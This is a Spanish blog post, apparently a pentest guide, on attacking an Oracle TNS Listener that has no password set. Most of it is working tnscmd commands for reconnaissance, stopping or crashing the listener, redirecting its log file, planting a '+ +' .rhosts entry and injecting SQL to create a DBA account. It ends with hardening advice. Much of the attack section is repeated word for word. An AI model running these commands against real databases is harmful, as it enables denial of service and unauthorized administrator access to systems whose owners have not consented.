Muchas veces nos liamos protegiendo concienzudamente una aplicación, y nos olvidamos de otros componentes que pueden comprometer de manera global nuestro sistema. Es el viejo dicho de muchos: la seguridad es tan débil como el eslabón más débil.
Un ejemplo es descuidar el Listener de nuestra base de datos Oracle . De este modo, como por ejemplo, alguien que solo conozca el nombre del host (o dirección IP) y el puerto del listener (default 1521) podría tener control del mismo de manera remota, y por lo tanto:
Básicamente, comprobamos la información obtenida a través del Listener de la base de datos, si se permite la modificación de parámetros remota y si está protegido por contraseña. RECOPILACIÓN DE INFORMACIÓN
- Comprueba si el listener está corriendo en la máquina (ping):
unix% tnscmd -h 172.20.80.12 -p 1521
- Extrar información del estado, la versión y los servicios. Comprueba si existe ADMIN_RESTRICTIONS en el listener.ora (si se permite a usuarios remotos modificar parámetros). Comprueba si se ha fijado una contraseña (-SECURITY=ON):
unix% tnscmd status -h 172.20.80.12 -p 1521
unix% tnscmd status -h 172.20.80.12 -p 1521 --indent
unix% tnscmd version -h 172.20.80.12 -p 1521
unix% tnscmd services -h 172.20.80.12 -p 1521 --indent
DoS
- Comprueba si es posible detener el TNS Listener (si no está protegido por password):
unix% lsnrctl stop 172.20.80.12:1521 (necesitaríamos un cliente Oracle)
unix% tnscmd stop -h 172.20.80.12 -p 1521 (TNS-01169 indicaría que existe una contraseña: se ha intentado ejecutar un comando sin pasar una password)
- Comprueba que diversos paquetes TNS malformados pueden corromper el Listener (SEGV trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory):
unix% tnscmd [badcommand] -h 172.20.80.12 (hemos comprobado en laboratorio, que se ha podido tirar el Listener, sin necesidad de validación con contraseña)
MODIFICACIÓN DE VARIABLES
- Modifica la variable LOGFILE para cambiar la ubicación del fichero de logs del Listener
unix% tnscmd -h 172.20.80.12 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/prueba)))"
EJECUCIÓN DE COMANDOS
- Intenta habilitar el acceso por .rhost ejecutando un comando embebido como usuario oracle:
unix% tnscmd -h 172.20.80.12 --rawcmd "(CONNECT_DATA=(( + + "
CREAR UN USUARIO DBA EN LA BD
- Cambia la ubicación del fichero de log del TNS Listener apuntando al fichero login.sql o glogin.sql (ver modificación de variables)
- Chequea mediante un comando status (ver recopilación de información)
- Crea un usuario DBA en la base de datos inyectando la sentencia SQL correspondiente (ver ejecución de comandos):
unix% tnscmd -h 172.20.80.12 -p 1521 --rawcmd "(CONNECT_DATA=((
> create user prueba identified by prueba;
> grant dba to prueba;
> "
- Vuelve a dejar la variable LOGFILE como estaba
- Login as prueba/prueba@database
Y por último, os dejo las RECOMENDACIONES para que no nos hagan pupa :
Un ejemplo es descuidar el Listener de nuestra base de datos Oracle . De este modo, como por ejemplo, alguien que solo conozca el nombre del host (o dirección IP) y el puerto del listener (default 1521) podría tener control del mismo de manera remota, y por lo tanto:
- Obtener información detallada de la configuración de Listener y la base dedatos.
- Denial of Service (DoS): activar el nivel de depuración (trace) a"support" y causar una degradación en el servicio.
- Denial of Service (DoS): incurrir en la estabilidad del servidorsobreescribiendo ficheros del SO (accesibles por el usuario oracle) a través dela modificación de la localicación de los ficheros de logs.
- Denial of Service (DoS): Parar el listener y/o cambiar la contraseña dellistener.
- Permitir Login via rlogin
- Ejecutar SQL como DBA
Básicamente, comprobamos la información obtenida a través del Listener de la base de datos, si se permite la modificación de parámetros remota y si está protegido por contraseña. RECOPILACIÓN DE INFORMACIÓN
- Comprueba si el listener está corriendo en la máquina (ping):
unix% tnscmd -h 172.20.80.12 -p 1521
- Extrar información del estado, la versión y los servicios. Comprueba si existe ADMIN_RESTRICTIONS en el listener.ora (si se permite a usuarios remotos modificar parámetros). Comprueba si se ha fijado una contraseña (-SECURITY=ON):
unix% tnscmd status -h 172.20.80.12 -p 1521
unix% tnscmd status -h 172.20.80.12 -p 1521 --indent
unix% tnscmd version -h 172.20.80.12 -p 1521
unix% tnscmd services -h 172.20.80.12 -p 1521 --indent
DoS
- Comprueba si es posible detener el TNS Listener (si no está protegido por password):
unix% lsnrctl stop 172.20.80.12:1521 (necesitaríamos un cliente Oracle)
unix% tnscmd stop -h 172.20.80.12 -p 1521 (TNS-01169 indicaría que existe una contraseña: se ha intentado ejecutar un comando sin pasar una password)
- Comprueba que diversos paquetes TNS malformados pueden corromper el Listener (SEGV trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory):
unix% tnscmd [badcommand] -h 172.20.80.12 (hemos comprobado en laboratorio, que se ha podido tirar el Listener, sin necesidad de validación con contraseña)
MODIFICACIÓN DE VARIABLES
- Modifica la variable LOGFILE para cambiar la ubicación del fichero de logs del Listener
unix% tnscmd -h 172.20.80.12 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/prueba)))"
EJECUCIÓN DE COMANDOS
- Intenta habilitar el acceso por .rhost ejecutando un comando embebido como usuario oracle:
unix% tnscmd -h 172.20.80.12 --rawcmd "(CONNECT_DATA=(( + + "
CREAR UN USUARIO DBA EN LA BD
- Cambia la ubicación del fichero de log del TNS Listener apuntando al fichero login.sql o glogin.sql (ver modificación de variables)
- Chequea mediante un comando status (ver recopilación de información)
- Crea un usuario DBA en la base de datos inyectando la sentencia SQL correspondiente (ver ejecución de comandos):
unix% tnscmd -h 172.20.80.12 -p 1521 --rawcmd "(CONNECT_DATA=((
> create user prueba identified by prueba;
> grant dba to prueba;
> "
- Vuelve a dejar la variable LOGFILE como estaba
- Login as prueba/prueba@database
Y por último, os dejo las RECOMENDACIONES para que no nos hagan pupa :
- Establecer una contraseña en el Listener
- Habilitar el logging
- Activar Admin_restrictions
- Aplicar los últimos parches
- Bloquear SQL*NET en los firewalls
- Asegurar el directorio $TNS_ADMIN
- Asegurar TNSLSNR y LSNRCTL
- Desactivar servicios innecesarios
- Cambiar el puerto TNS por defecto
- Monitorizar el fichero de log
Comentarios
Publicar un comentario